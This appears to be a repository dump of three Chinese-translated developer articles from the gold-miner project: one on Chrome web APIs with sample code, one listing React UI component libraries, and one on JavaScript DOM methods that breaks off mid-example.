    "content": "> * 原文地址：[11 Chrome APIs That Will Give Your Web App a Native Feel](https://blog.bitsrc.io/11-chrome-apis-that-give-your-web-app-a-native-feel-ad35ad648f09)\n> * 原文作者：[Shanika Wickramasinghe](https://medium.com/@shanikanishadhi1992)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/11-chrome-apis-that-give-your-web-app-a-native-feel.md](https://github.com/xitu/gold-miner/blob/master/TODO1/11-chrome-apis-that-give-your-web-app-a-native-feel.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[niayyy-S](https://github.com/niayyy)，[Gesj-yean](https://github.com/Gesj-yean)\n\n# 11 个能让你的 Web App 像原生 App 的 Chrome API\n\n![](https://cdn-images-1.medium.com/max/2560/1*M4FLqVN1o0AVstiq1FmWdA.jpeg)\n\n## 为什么要追求所谓的\"原生体验\"？\n\n原生 App 更加稳定、运行速度更快，并且提供了许多 Web App 所缺乏的特性（可以说直到最近 Web App 依旧缺乏）。简而言之，通常原生 App 比 Web App 提供更好的用户体验。\n\n当然，Web App 有其自身的优势 —— 它具有通用性，入门简单，而且始终是最新版本。此外，对我们开发人员来说更重要的是，它的性价比很高。\n\n我们最好的解决方案不应该是两者之间的折中，而是“小孩子才做选择，我全都要”。\n\n## 1. 短信服务接收\n\n![来自：[https://web.dev/sms-receiver-api-announcement/](https://web.dev/sms-receiver-api-announcement/)](https://cdn-images-1.medium.com/max/2234/0*K3DcqnbwAiKsFJf9)\n\n手机本质上是用于用户的通信和验证。对于在线交易，App 会通过短信向手机发送一次性密码（one-time password，OTP）来验证用户的手机号码。用户复制 OTP 并通过 Web 浏览器将其发送到相应的代理商。\n\n用户每次的确认过程中都需要操作两次 OTP，搜索到验证码短信，复制最新的 OTP 是一项繁琐而又有风险的工作。而通过短信接收 API，可以直接将短信验证信息获取的 OTP 进行复制并验证，不需要用户自己进行复制粘贴操作。\n\n一旦你收到一个有 OTP 的验证码短信，你会看到一个底页弹出，提示验证电话号码。点击应用上的“验证”，就会将 OTP 程序化地传输到浏览器，自动提交表单。使用短信接收 API 时，建议使用表单验证等附加安全层，为用户建立新的会话。\n\n#### 该 API 如何使用：\n\n1. 功能检测：对短信服务（SMS）对象进行功能检测判断。\n\n```JavaScript\nif ('sms' in navigator) {\n  ...\n}\n\n```\n\n2. 处理 OTP：接收方收到短信后，底部弹出带有验证按钮的页面。当用户点击验证按钮后，通过正则表达式提取 OTP 并验证用户。\n\n```JavaScript\nconst code = sms.content.match(/^[\\s\\S]*otp=([0-9]{6})[\\s\\S]*$/m)[1];\n```\n\n3. 提交OTP：一旦检索到 OTP，就将其发送到服务器进行 OTP 验证。\n\n![来自：[https://web.dev/sms-receiver-api-announcement/](https://web.dev/sms-receiver-api-announcement/)](https://cdn-images-1.medium.com/max/2000/0*Gjiw69Zc0oTeQkDG)\n\n查看 Demo：\n[**短信服务接收 API Demo**](https://sms-receiver-demo.glitch.me/)\n\n## 2. 联系人选择器\n\n![来自：[https://web.dev/contact-picker/](https://web.dev/contact-picker/)](https://cdn-images-1.medium.com/max/2000/0*IdpUhLkaa07MSVKj)\n\n从移动设备的联系人列表中挑选联系人，是大多数移动设备用户认为理所当然的一个简单操作。然而，这并不是 Web App 上所能做到的，唯一的方法就是手动输入联系人的详细信息。\n\n使用联系人选择 API，你可以毫不费力地从联系人列表中搜索联系人，选择并将其添加到 Web App 中的表单中。这是 Chrome 80 版本针对该需求提供的功能。联系人选择 API 允许用户选择一个或多个联系人，然后在浏览器中添加有限的详细信息。\n\n有了它，你可以快速提取电子邮件、电话号码、姓名等联系人信息，用于多种用途。一些使用案例有：选择收件人的电子邮件进行 Web 端的邮件发送，选择收件人的电话号码进行 IP 语音通话，以及在 Facebook 上搜索联系人等。\n\nChrome 需要保护好你的所有联系信息和数据的安全。所以，在 App 中使用此 API 之前，请查看[安全和隐私条款](https://web.dev/contact-picker/#security-considerations)。\n\n#### 该 API 如何使用：\n\n这个 API 需要一个单独的调用，其中传入的参数是可选的。首先，确定该功能是否可用，对于 Windows，可以使用下面的代码。\n\n```JavaScript\nconst supported = ('contacts' in navigator && 'ContactsManager' in window);\n\n```\n\n接着，使用 “navigator.contacts.select()” 打开“联系人选择器”，然后让用户选择想要分享的联系人，然后点击**完成**。API 返回一个可以显示选择和操作联系人的 `Promise`。\n\n```JavaScript\nconst props = ['name', 'email', 'tel', 'address', 'icon'];\nconst opts = {multiple: true};\n \ntry {\n  const contacts = await navigator.contacts.select(props, opts);\n  handleResults(contacts);\n} catch (ex) {\n  // 在这里处理任何报错。\n}\n\n```\n\n此外，你还需要处理这些 API 的报错。\n\n观看此 Demo：\n[**联系人选择 API Demo**](https://contact-picker.glitch.me/)\n\n## 3.原生文件系统 API\n\n![来自：[https://web.dev/native-file-system/](https://web.dev/native-file-system/)](https://cdn-images-1.medium.com/max/2000/0*Tdc9sdhDmrHaTEa4)\n\n文件读取和写入是数字世界中的很常见的场景。现在，我们可以使用原生文件系统 API，构建与用户本地设备上的文件进行交互的 App。在用户的许可下，你可以允许他们选择文件，对文件进行修改并将其保存回设备存储中。\n\n像 IDE、编辑器和文本文件等类型的文件可以被访问、修改和存储在磁盘上。在打开和保存文件之前，Web App 需要请求用户的许可。\n\n在将文件写入磁盘时，用户可以对文件进行重命名。要修改磁盘上现有的文件时，用户需要授予额外的权限。系统文件和其他重要文件为了确保设备的安全和稳定，无法被访问。\n\n1) 原生文件系统 API 可以用来打开一个目录并列出其中包含的内容。\n\n2) 用户给出的修改现有文件或目录的权限可以被撤销。\n\n3) 权限只在标签页打开的时间范围内有效。\n\n一旦标签页被关闭，Web App 将失去用户所允许的权限。即使再次打开相同的 App，每次都需要提示获得许可。原生文件系统 API 在原始试用版（Origin Trials）中可用，你可以使用这个试用版的原生文件系统 API 工作。\n\n在使用此 API 之前，请查看其[安全性和权限](https://web.dev/native-file-system/#security-considerations)。\n\n#### 该 API 如何使用：\n\n1. 首先在 chrome://flags 中启用 native-file-system-api 标志。\n\n2. 在这个[链接](https://developers.chrome.com/origintrials/#/view_trial/3868592079911256065)中申请一个令牌，将其添加到页面中。\n\n`<meta http-equiv=”origin-trial” content=”TOKEN_GOES_HERE”>` 或者 `Origin-Trial: TOKEN_GOES_HERE`.\n\nAPI 开启后，使用 `window.chooseFileSystEmentries()` 来让用户选择要编辑的文件。然后从系统中获取文件并读取。\n\n```JavaScript\nconst file = await fileHandle.getFile();\nconst contents = await file.text();\n\n```\n\n文件保存后，通过 chooseFileSystemEnteries 设置类型为 `saveFile`。\n\n```JavaScript\nfunction getNewFileHandle() {\n  const opts = {\n\ttype: 'saveFile',\n\taccepts: [{\n  \tdescription: 'Text file',\n  \textensions: ['txt'],\n\t  mimeTypes: ['text/plain'],\n    }],\n  };\n  const handle = window.chooseFileSystemEntries(opts);\n  return handle;\n}\n\n```\n\n之后将所有的修改内容保存到文件中。\n\n```JavaScript\nasync function writeFile(fileHandle, contents) {\n  // 创创建一个 writer（必要时需要请求许可）。\n  const writer = await fileHandle.createWriter();\n  // 写入内容\n  await writer.write(0, contents);\n  // 关闭文件并将内容写入磁盘\n  await writer.close();\n}\n\n```\n\n应用需要权限才能将内容写入磁盘。获取到写入权限后，调用 `FileSystemWriter.Writer()` 来写入内容。之后使用 `close()` 方法关闭 `FileSystemSWriter()`。\n\n查看 Demo：\n\n[**文本编辑器**](https://googlechromelabs.github.io/text-editor/)\n\n## 4. 图形检测 API\n\n现在，你可以使用图形检测 API 在 Web App 中捕捉人脸。借助基于浏览器的 API 以及 Android 中的 Chrome 浏览器，你可以通过设备摄像头轻松捕捉图像或实时视频。并且它在硬件层面与 Android、iOS 和 macOS 系统的集成，可以在不影响应用性能的情况下访问设备摄像头模块。\n\n这些是通过一组 JavaScript 库来实现的。支持的功能包括人脸检测、条形码检测等。在 Web App 中的人脸识别可以使你：\n\n* 在社交媒体上对人物进行注解 —— 它将突出显示图像中检测到的人脸的边界，以方便注释。\n* 内容网站可以准确地裁剪包括特定对象在内的高亮站点的图像。\n* 在突出显示的人脸上叠加对象的操作可以很容易地完成。\n\n#### 该 API 如何使用：\n\n功能检测：检查图形检测的构造函数是否存在。\n\n```JavaScript\nconst supported = await (async () => 'FaceDetector' in window &&\n    await new FaceDetector().detect(document.createElement('canvas'))\n    .then(_ => true)\n    .catch(e => e.name === 'NotSupportedError' ? false : true))();\n```\n\n这些检测是异步工作的，所以需要一些时间来检测人脸。\n\n## 5. Web 支付 API\n\nWeb 支付 API 遵循 Web 支付标准。它简化了在线支付的流程，适用于各种支付系统、浏览器和设备类型。支付请求 API 可以在多种浏览器上使用，包括 Chrome、Edge、Safari 和 Mozilla。它加速了商家和用户之间的支付流。商家可以用最少的花费整合各种支付方式。\n\nWeb 支付 API 的工作基于以下三个原则：\n\n1. 标准且开放：提供了一个任何人都可以实现的通用标准。\n2. 简单且一致：通过恢复付款细节和需要在付款表单中填写的地址，为用户提供方便的付款体验。\n3. 安全且灵活：为许多支付流提供行业领先的安全性和灵活性。\n\n#### 该 API 如何使用：\n\n要使用此 API，请调用 hasEnrolledInstrument() 方法并检查设备是否存在。\n\n```JavaScript\n// 检查 支付 App 的可用性，而不检查设备的存在。\nif (request.hasEnrolledInstrument) {\n  // `canMakePayment()` 里的具体行为会根据\n  // `hasEnrolledInstrument()` 是否可用而变化。\n  request.canMakePayment().then(handlePaymentAppAvailable).catch(handleError);\n} else {\n  console.log(\"Cannot check for payment app availability without checking for instrument presence.\");\n}\n\n```\n\n## 6. 唤醒锁 API\n\n![来自：[https://web.dev/wakelock/](https://web.dev/wakelock/)](https://cdn-images-1.medium.com/max/2000/0*zJuBNN-nn9Xx5NwU)\n\n许多类型的设备被设定为在空闲或未使用状态下自动休眠。虽然这在不使用时很好，但当用户使用屏幕时，设备关闭并锁定屏幕，就会很烦人。\n\n唤醒锁API有两种类型：屏幕和系统。当应用在屏幕上运行时，屏幕唤醒锁可以防止设备关闭它，系统唤醒锁可以防止设备的 CPU 进入待机模式。\n\n页面可见性和全屏模式负责激活或释放唤醒锁。屏幕上的变化（例如进入全屏模式，最小化当前窗口或从选项卡切换开）将释放唤醒锁。\n\n#### 该 API 如何使用：\n\n要使用此功能，请为你的源获取一个[令牌](https://developers.chrome.com/origintrials/#/view_trial/902971725287784449)，将该令牌添加到你的页面中。\n\n`<meta http-equiv=”origin-trial” content=”TOKEN_GOES_HERE”>` 或者 `Origin-Trial: TOKEN_GOES_HERE`\n\n除了使用令牌，你还需要确保 chrome://flags 页面中的 `#experimental-web-platform-features` 标志位开启。\n\n要请求唤醒锁，请调用 `navigator.wavelock.request()` 方法来返回一个 `WakeLockSentinel` 对象。并将这个调用添加到 `try...catch` 块中。要释放唤醒锁，请调用 `wavelocksentinel` 的 `release()` 方法。\n\n```JavaScript\n// 唤醒锁.\nlet wakeLock = null; \n// 试图请求唤醒锁的函数。\nconst requestWakeLock = async () => {\n  try {\n\twakeLock = await navigator.wakeLock.request('screen');\n\twakeLock.addEventListener('release', () => {\n  \tconsole.log('Wake Lock was released');\n\t});\n\tconsole.log('Wake Lock is active');\n  } catch (err) {\n\tconsole.error(`${err.name}, ${err.message}`);\n  }\n}; \n// 请求唤醒锁……\nawait requestWakeLock();\n// 并在 5 秒后再次释放。\nwindow.setTimeout(() => {\n  wakeLock.release();\n  wakeLock = null;\n}, 5000);\n```\n\n唤醒锁有一个生命周期，并且对页面可见性和全屏模式很敏感。所以在请求唤醒锁之前检查这些状态。\n\n```JavaScript\nconst handleVisibilityChange = () => {\n  if (wakeLock !== null && document.visibilityState === 'visible') {\n\trequestWakeLock();\n  }\n};\ndocument.addEventListener('visibilitychange', handleVisibilityChange);\ndocument.addEventListener('fullscreenchange', handleVisibilityChange);\n```\n\n查看 Demo：\n\n[**唤醒锁 API Demo**](https://wake-lock-demo.glitch.me/)\n\n## 7. Service worker 和 Cache 缓存 API\n\n浏览器的缓存曾经是重新加载网页的旧内容的唯一方法，但是现在你可以使用 Service worker 和 cache 缓存 API 来更好地控制这个过程。\n\nService worker 是一个 JavaScript 文件，用于拦截网络请求、执行缓存并通过推送传递消息。它们独立于主线程，在后台运行。\n\n使用 cache 缓存 API，开发人员可以决定和控制浏览器缓存的内容。它遵循代码驱动的方法来存储缓存，并从 Service worker 中调用。你可以使用 cache-control 头来配置 cache 缓存 API。\n\n需要清除设置的 Cache-Control 才能访问版本化和未版本化的 URL。如果将版本化的 URL 添加到 cache 缓存中，浏览器会避免对这些 URL 进行额外的网络请求。\n\nHTTP缓存、Service worker 和缓存存储 API 的组合可以使开发人员这样做：\n\n1. 在浏览器后台重新请求缓存的内容。\n2. 对要缓存的最大资产数设置上限。\n3. 添加自定义过期策略。\n4. 比较缓存和网络响应。\n\n## 8. 异步剪贴板 API\n\n![来自：[https://web.dev/image-support-for-async-clipboard/](https://web.dev/image-support-for-async-clipboard/)](https://cdn-images-1.medium.com/max/2000/0*eziEHL8pSojXJ_F_)\n\n异步剪贴板 API 可用于复制图像并将其粘贴到浏览器中。需要复制的图像会被存储为一个 **Blob** 对象。因此，在每次需要复制图像时是不会向服务器发出的请求。\n\n现在，可以直接从剪贴板中使用 HTMLCanvasElement.toBlob() 将图像写入 Web 表单上的画布元素。虽然目前只能复制一个图像，但将来的版本将允许同时复制多个图像。粘贴图像时，API 在剪贴板中会以基于 Promise 的异步方式对其进行更新。\n\n自定义的粘贴处理程序和自定义的复制处理程序允许你可以处理图像的粘贴和复制事件。在 Chrome 上复制和粘贴图像的一个主要问题是访问图像“压缩炸弹”。这是指一些大型的压缩过的图像文件，一旦解压缩，就无法在 Web 表单上处理。这些图像也可以是恶意图像，有可能会利用操作系统中已知的漏洞来进行破坏。\n\n#### 该 API 如何使用：\n\n首先，我们需要一个为 Blob 对象的图像，它是通过调用 fetch() 方法从服务器请求的，我们再将返回类型设置为 blob。然后传递一个 clipboarditem 数组来调用 wirte() 方法。\n\n```JavaScript\ntry {\n  const imgURL = '/images/generic/file.png';\n  const data = await fetch(imgURL);\n  const blob = await data.blob();\n  await navigator.clipboard.write([\n\tnew ClipboardItem({\n  \t[blob.type]: blob\n\t})\n  ]);\n  console.log('Image copied.');\n} catch(e) {\n  console.error(e, e.message);\n}\n\n```\n\n在粘贴时，navigator.Clipboard.read() 用于迭代剪贴板对象并读取项。\n\n```JavaScript\nasync function getClipboardContents() {\n  try {\n\tconst clipboardItems = await navigator.clipboard.read();\n\tfor (const clipboardItem of clipboardItems) {\n  \ttry {\n    \tfor (const type of clipboardItem.types) {\n      \tconst blob = await clipboardItem.getType(type);\n      \tconsole.log(URL.createObjectURL(blob));\n    \t}\n  \t} catch (e) {\n    \tconsole.error(e, e.message);\n  \t}\n\t}\n  } catch (e) {\n\tconsole.error(e, e.message);\n  }\n}\n```\n\n该 API 如何使用：\n\n[**支持异步剪贴板 API 的图像**](https://web.dev/image-support-for-async-clipboard/#demo)\n\n## 9. Web 目标共享 API\n\n![来自：[https://web.dev/web-share-target/](https://web.dev/web-share-target/)](https://cdn-images-1.medium.com/max/2000/0*6G_C2tZdB3rCYvNY)\n\n移动 App 上与其他电子设备或用户共享文件非常简单，只需点击几下鼠标即可。Web 共享目标 API 可以使你在 Web App 上也能完成相同的操作。\n\n要使用此功能，你需要：\n\n1. 将 App 注册为共享目标。\n2. 使用目标分享更新 Web App 的 manifest。\n3. 添加目标应用要接收的基本信息。数据、链接、文本等信息可以添加到 JSON 文件中。\n4. 接受在共享目标中应用的更改。这将允许在目标应用中进行数据更改，比如在应用中创建书签或接受文件请求。\n5. 通过处理获取共享和发布共享来处理进入的内容。\n\n下面的代码展示了如何创建 manifest.json，用于接收基本信息文件。\n\n```JSON\n\"share_target\": {\n  \"action\": \"/share-target/\",\n  \"method\": \"GET\",\n  \"params\": {\n\t\"title\": \"title\",\n\t\"text\": \"text\",\n\t\"url\": \"url\"\n  }\n}\n```\n\n## 10. 定期向后台同步 API\n\n原生应用在获取新数据方面做得很好，即使在连通性不令人满意的情况下也是如此。最新时间的文章和新闻会不断更新。定期的后台同步 API 为 Web App 提供了类似的功能。它使得 Web App 能够定期地同步数据。\n\n该 API 在后台同步数据，因此 Web App 在启动或重新启动时不会获取数据。这减少了页面加载时间并优化了性能。\n\n考虑到每个开发人员使用这个 API 的可能性都很高，并且它会导致电池和网络资源的滥用，Chrome 设计了一种限制其使用的方法。它不会对每个浏览器选项卡都开放，而是通过一个站点参与度评分来管理，这将确保该 API 只在用户正在积极参与的选项卡上活动。\n\n下面的代码是一个用于更新新闻站点文章的定期后台同步的示例。\n\n```JavaScript\nasync function updateArticles() {\n  const articlesCache = await caches.open('articles');\n  await articlesCache.add('/api/articles');\n}\n\nself.addEventListener('periodicsync', (event) => {\n  if (event.tag === 'update-articles') {\n\tevent.waitUntil(updateArticles());\n  }\n});\n```\n\n## 结论\n\n用户在使用 App 时，会期望 Web App 具有与原生 App 相同的功能。如果没有，用户就会拒绝使用该 App 或寻找其他的替代方案。因此，Chrome API 对开发者来说是一个非常需要的好东西。\n\n不过，需要注意的是，这些 API 还是有一些使用的限制。开发者需要注意这些，这样才能提供完美的 App 体验。简单地会调用每一个 API 都是没有价值和作用的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/11-react-component-libraries-you-should-know.md",
    "content": "> * 原文地址：[11 React UI Component Libraries you Should Know in 2019](https://blog.bitsrc.io/11-react-component-libraries-you-should-know-178eb1dd6aa4)\n> * 原文作者：[Jonathan Saring](https://blog.bitsrc.io/@JonathanSaring?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/11-react-component-libraries-you-should-know.md](https://github.com/xitu/gold-miner/blob/master/TODO1/11-react-component-libraries-you-should-know.md)\n> * 译者：[ElizurHz](https://github.com/ElizurHz)\n> * 校对者：[wuzhengyan2015](https://github.com/wuzhengyan2015), [xiaxiayang](https://github.com/xiaxiayang)\n\n# 2019 年你应该要知道的 11 个 React UI 组件库\n\n虽然 React 的用户量落后于 Angular [很多](https://insights.stackoverflow.com/survey/2017#technology)，但它在 Stack overflow 的最受喜爱的组件库中排名领先:\n\n![](https://cdn-images-1.medium.com/max/800/1*2nIak4DHSE3NtpxljcLfqQ.png)\n\nReact 在 2017 年的受欢迎程度上升\n\nReact 的虚拟 DOM、声明式地描述用户界面并为界面构建相应状态的能力、对有一定水平的 JavaScript 开发者来说入门门槛低，这些都使 React 成为了一个非常棒的构建 UI 的 [专业库](https://medium.freecodecamp.org/yes-react-is-taking-over-front-end-development-the-question-is-why-40837af8ab76)。\n\n使用 React 的另一个重要原因是它的组件。组件能够让你把 UI 分割成独立的、可复用的块。这里有 11 个很棒的 React 组件库可以帮助你开始使用 React 的组件。\n\n你还可以使用 [Bit](https://bitsrc.io) 把这些组件结合起来，并将你的组件转化成能够统一管理并在多个项目间同步的模块。\n\n- [**Bit — 共享和构建组件**：Bit 让使用更小的组件开发软件、团队间共享和在你的所有项目中同步变得有趣且容易](https://bitsrc.io \"https://bitsrc.io\")\n\n有了 Bit，你可以轻松地在多个项目和应用间共享、开发和同步组件，为你的团队管理组件，以及改进具有双向代码变更的 React 的组件的工作流。这里有 [一个例子](https://bitsrc.io/bit/movie-app)。\n\n![](https://cdn-images-1.medium.com/max/800/1*EW7hjct1RduBrJj43xHO5g.png)\n\nReact [Hero UI component](https://bitsrc.io/bit/movie-app/components/hero) with Bit\n\n#### 1. React Material-UI\n\n[React Material-UI](http://www.material-ui.com/) 是一套实现了 Google 的 Material Design 的 React 组件。它在 GitHub 上有 [30k+ stars](https://github.com/mui-org/material-ui)，大概是目前最受欢迎的 React 组件库了。它的 v1 版本快要推出了。\n\n![](https://cdn-images-1.medium.com/max/800/1*tbpaxLVm76qcI0S9s_h_rw.png)\n\n#### 2. React-Bootstrap\n\n[React-Bootstrap](https://github.com/react-bootstrap/react-bootstrap) 是一个具有 Twitter 的 Bootstrap 的观感的 React 组件库。它的极简风格在社区中有很高的热度，有超过 11k 的 stars。\n\n![](https://cdn-images-1.medium.com/max/800/1*Z8iv-H53lE0yiEonO7v1vA.png)\n\n#### 3. React toolbox\n\n[React Toolbox](http://react-toolbox.io/#/) 是一套实现了 Google Material Design 规范的 React 组件。它是基于如 CSS Modules（基于 SASS）、webpack 和 ES6 这样的最新提案构建的。它的网站提供了一个在线的组件 playground。\n\n![](https://cdn-images-1.medium.com/max/800/1*3MDbsOlWKBwtLesdEucWeA.png)\n\n#### 4. React Belle\n\n[React Belle](https://github.com/nikgraf/belle) 是一套针对移动端和桌面端都有优化的 React 组件。它的样式可以高度定制，因此你可以配置所有组件通用的基础样式，也可以在每个组件中单独修改样式。这里也有一个 [不错的例子](https://gideonshils.github.io/Belle-With-Bit/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*pypcfwkxe8omGQpX7YFsIw.png)\n\n#### 5. React Grommet\n\n[React Grommet](http://grommet.io/) 提供了相当丰富的组件，这些组件按使用方式分类，所有的组件都是易用的、跨浏览器兼容的、支持主题定制的。\n\n![](https://cdn-images-1.medium.com/max/800/1*70XQ6onrhXheDfMcCHY6uA.png)\n\n#### 6. React Components by Khan Academy\n\nKhan Academy 的 [React 组件](http://khan.github.io/react-components/) 是以有行内 CSS 和注释的组件库的形式发布的。单独的组件也可以通过向 Bit 添加这个库创建的 [这个 Bit Scope](https://bitsrc.io/khan/react-components#components) 安装。\n\n![](https://cdn-images-1.medium.com/max/800/1*0ioHWySqvLlW4J5HPhN1wA.png)\n\n#### 7. Material Components Web\n\n[Material Components Web](https://material.io/components/web/) 是由 Google 的一个核心团队的工程师和 UX 设计师开发的，它的组件支持可靠的开发工作流以构建美观且实用的 Web 项目。它取代了 react-mdl（现在已经废弃了），已经有接近 7k 的 stars 了。\n\n![](https://cdn-images-1.medium.com/max/800/1*XhhTfN5l25iIP5lL6RIhKA.png)\n\n#### 8. Ant Design React\n\n根据 Ant Design 的规范，[React Ant Design](https://ant.design/docs/react/introduce) 是一个包含了组件和 demo 的 React UI 库。它是用 TypeScript 写的，并有完整的类型定义，也提供了一个 npm + webpack + [dva](https://github.com/dvajs/dva) 的前端开发流程。\n\n![](https://cdn-images-1.medium.com/max/800/1*m20KzN0Yo1Mn_TBzCCs1JA.png)\n\n#### 9. Semantic UI React\n\n[Semantic UI React](https://react.semantic-ui.com/) 是 Semantic-UI-React 的官方整合库。它有大概 5k 的 stars，并被 Netflix 和 Amazon 所采用，提供了有趣而灵活的“武器库”。\n\n![](https://cdn-images-1.medium.com/max/800/1*ifnxZvzp3gVZOj1pTlGl7w.png)\n\n#### 10. Onsen UI\n\n[Onsen UI React Components](https://onsen.io/react/) 可以与 Onsen UI 的 React bindings 一起使用，并提供了使用 React 和 Onsen UI 框架的混合开发移动应用。它有 81 个贡献者和超过 5.6k 的 stars，是个可以考虑的有意思的库。\n\n![](https://cdn-images-1.medium.com/max/800/1*wUCqvq-3Sp2Vbx0TmTdzdg.png)\n\n#### 11. React Virtualized\n\n[React Virtualized](https://github.com/bvaughn/react-virtualized) 有大概 8k 的 stars，它提供了可以高效渲染长列表和扁平数据的 React 组件。\n\n![](https://cdn-images-1.medium.com/max/800/1*Go5Bue8KJGIdBMUt7fvfVQ.png)\n\n### 单独的组件\n\n每个单独的组件都可以在 [awesome-react](https://github.com/enaqx/awesome-react) 和 [awesome-react-components](https://github.com/brillout/awesome-react-components) 这两个项目中找到。你也可以将 [Bit](https://bitsrc.io/) 添加到任意一个仓库或者库来追踪与隔离仓库或者库里的组件。然后，这些组件可以很快地直接从仓库中的任何路径中导出，开发者就可以使用 npm 或者 yarn 来安装它们，并在任意的项目中进行修改。\n\n似乎在 2018 年，React 的热度会持续上升，并且 React 组件会逐渐成为更多日常使用的应用的组成模块。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/13-javascript-methods-useful-for-dom-manipulation.md",
    "content": "> * 原文地址：[13 JavaScript Methods Useful For DOM Manipulation](https://devinduct.com/blogpost/20/13-javascript-methods-useful-for-dom-manipulation)\n> * 原文作者：[Milos Protic](https://devinduct.com/blogpost/20/13-javascript-methods-useful-for-dom-manipulation)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/13-javascript-methods-useful-for-dom-manipulation.md](https://github.com/xitu/gold-miner/blob/master/TODO1/13-javascript-methods-useful-for-dom-manipulation.md)\n> * 译者：[fireairforce](https://github.com/fireairforce)\n> * 校对者：[ZavierTang](https://github.com/ZavierTang), [smilemuffie](https://github.com/smilemuffie)\n\n# 13 种有用的 JavaScript DOM 操作\n\n## 介绍\n\nDOM（Document Object Model）是网页上所有对象的基础。它描述文档的结构，并且为编程语言提供操作页面的接口。它被构造成逻辑树。每个分支以节点结束，每个节点包含有子节点。DOM API 有很多，在本文里面，我仅介绍一些我认为最有用的 API。\n\n## document.querySelector / document.querySelectorAll\n\n`document.querySelector` 方法返回文档中与给定选择器组匹配的第一个元素。\n\n`document.querySelectorAll` 返回与给定选择器组匹配的文档中的元素列表。\n\n```js\n// 返回第一个元素\nconst list = document.querySelector('ul');\n// 返回所有类名为 intro 或 warning 的 div 元素\nconst elements = document.querySelectorAll('div.info, div.warning');\n```\n\n## document.createElement\n\n这个方法会通过给定的标签名称来创建一个 `HTMLElement`。返回值是新创建的元素。\n\n## Node.appendChild\n\n`Node.appendChild()` 这个方法能够将节点添加到给定父节点的子节点列表的末尾。请注意，如果给定要添加的子节点是文档中现有节点的引用，则它将会被移动到子节点列表的末尾。\n\n让我们看看这两种方法的作用：\n\n```js\nlet list = document.createElement('ul'); // 创建一个新的 ul 元素\n['Paris', 'London', 'New York'].forEach(city => {\n    let listItem = document.createElement('li');\n    listItem.innerText = city;\n    list.appendChild(listItem);\n});\ndocument.body.appendChild(list);\n```\n\n## Node.insertBefore\n\n这个方法在指定父节点内的某个子节点之前插入给定节点（并返回插入的节点）。下面是使用该方法的一个伪代码:\n\n1. Paris\n2. London\n3. New York\n\n↓\n\nNode.insertBefore(San Francisco, Paris)\n\n↓\n\n1. San Francisco\n2. Paris\n3. London\n4. New York\n\n```js\nlet list = document.querySelector('ul');\nlet firstCity = list.querySelector('ul > li'); // 这里我们可以使用 list.firstChild，但是这篇文章的目的是介绍 DOM API\nlet newCity = document.createElement('li');\nnewCity.textContent = 'San Francisco';\nlist.insertBefore(newCity, firstCity);\n```\n\n## Node.removeChild\n\n该 `Node.removeChild` 方法从 DOM 中删除子节点并且返回已删除的节点。请注意返回的节点已经不再是 DOM 的一部分，但仍然保存在内存中。如果处理不当，可能会导致内存泄漏。\n\n```js\nlet list = document.querySelector('ul');\nlet firstItem = list.querySelector('li');\nlet removedItem = list.removeChild(firstItem);\n```\n\n## Node.replaceChild\n\n该方法用于替换父节点中的子节点（并且会返回被替换的子节点）。请注意，如果处理不当，这个方法可能会像 `Node.removeChild` 一样导致内存泄漏。\n\n```js\nlet list = document.querySelector('ul');\nlet oldItem = list.querySelector('li');\nlet newItem = document.createElement('li');\nnewItem.innerHTML = 'Las Vegas';\nlet replacedItem = list.replaceChild(newItem, oldItem);\n```\n\n## Node.cloneNode\n\n这个方法用于用于创建调用此方法的给定节点的副本。当你需要在页面上创建一个与现有元素相同的新元素时非常有用。它接受一个可选的 `boolean` 类型的参数，该参数用于表示是否对子节点进行深度克隆。\n\n```js\nlet list = document.querySelector('ul');\nlet clone = list.cloneNode();\n```\n\n## Element.getAttribute / Element.setAttribute\n\n`Element.getAttribute` 该方法返回元素上给定属性的值，与之对应的，`Element.setAttribute` 方法用于设置给定元素上属性的值。\n\n```js\nlet list = 